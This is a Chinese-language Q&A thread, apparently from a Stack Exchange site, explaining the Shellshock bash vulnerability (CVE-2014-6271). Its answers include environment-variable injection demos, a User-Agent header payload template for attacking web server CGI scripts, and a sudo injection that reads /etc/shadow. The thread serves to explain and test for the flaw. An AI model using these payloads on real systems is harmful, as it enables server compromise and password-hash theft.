我试图了解可能存在的安全问题CVE-2014-6271
,我看到的所有链接都只提供了以下命令。
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果我得到的输出为
vulnerable
this is a test
这意味着我的 bash shell 很脆弱。
但它与安全有什么关系呢?换句话说,会对我的系统造成什么损害?
答案1
安全问题是,如果 bash 启动时设置了恶意环境变量,该 bash 将执行该变量中的代码。
例如,假设您有一个调用/bin/foo bar
.假设这个foo
应用程序还使用了一个名为 的环境变量baz
,并且该变量的值来自用户提供的输入。因此,Web 服务器应用程序设置环境,然后 shell 访问foo bar
.好吧,当bash
读取环境变量时,如果提供的变量有恶意代码,bash
就会运行它。
通常这不是一个问题。环境变量应该是完全安全的。如果使用该变量的应用程序行为不当,那就是另一回事了。但在上述情况下bash
不使用变量。baz
例如:
测试脚本.sh
export BAZ='() { :;}; echo MALICIOUS CODE'
echo starting sleep
/bin/bash -c 'sleep 1'
运行时我们得到以下信息
$ /bin/dash testscript.sh
starting sleep
MALICIOUS CODE
因此,只需设置该变量,我们就可以让 bash 运行任意代码。
这是另一个没有使用显式 shell 的示例,并且没有提及 bash:
$ perl -e '$ENV{"BAZ"}="() { :;}; echo MALICIOUS CODE"; print("starting sleep\n"); system("/bin/sleep 1;");'
starting sleep
MALICIOUS CODE
(要使其工作,/bin/sh
需要 bash)
答案2
这些人解释了如何将代码注入网络服务器 CGI 进程。它基本上通过设置请求的用户代理来工作,使其包含利用代码:
http://packetstormsecurity.com/files/128394/bash-poc.txt
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
当攻击成功时,您可以使用网络服务器权限访问网络服务器,并且其全部内容将被视为已受到损害。
答案3
它也可以通过 sudo 运行,如果环境重置被禁用(至少在 Debian 中默认启用)
Defaults env_reset
但如果将其更改为
Defaults !env_reset
(过去在几个系统上见过这个!!!)
然后
sudo Y='() { disabled; }; /bin/cat /etc/shadow;' /tmp/zomg.sh
根:$6$......`
段错误出现在这里
sudoers 文件包含:
alinh ALL=/tmp/zomg.sh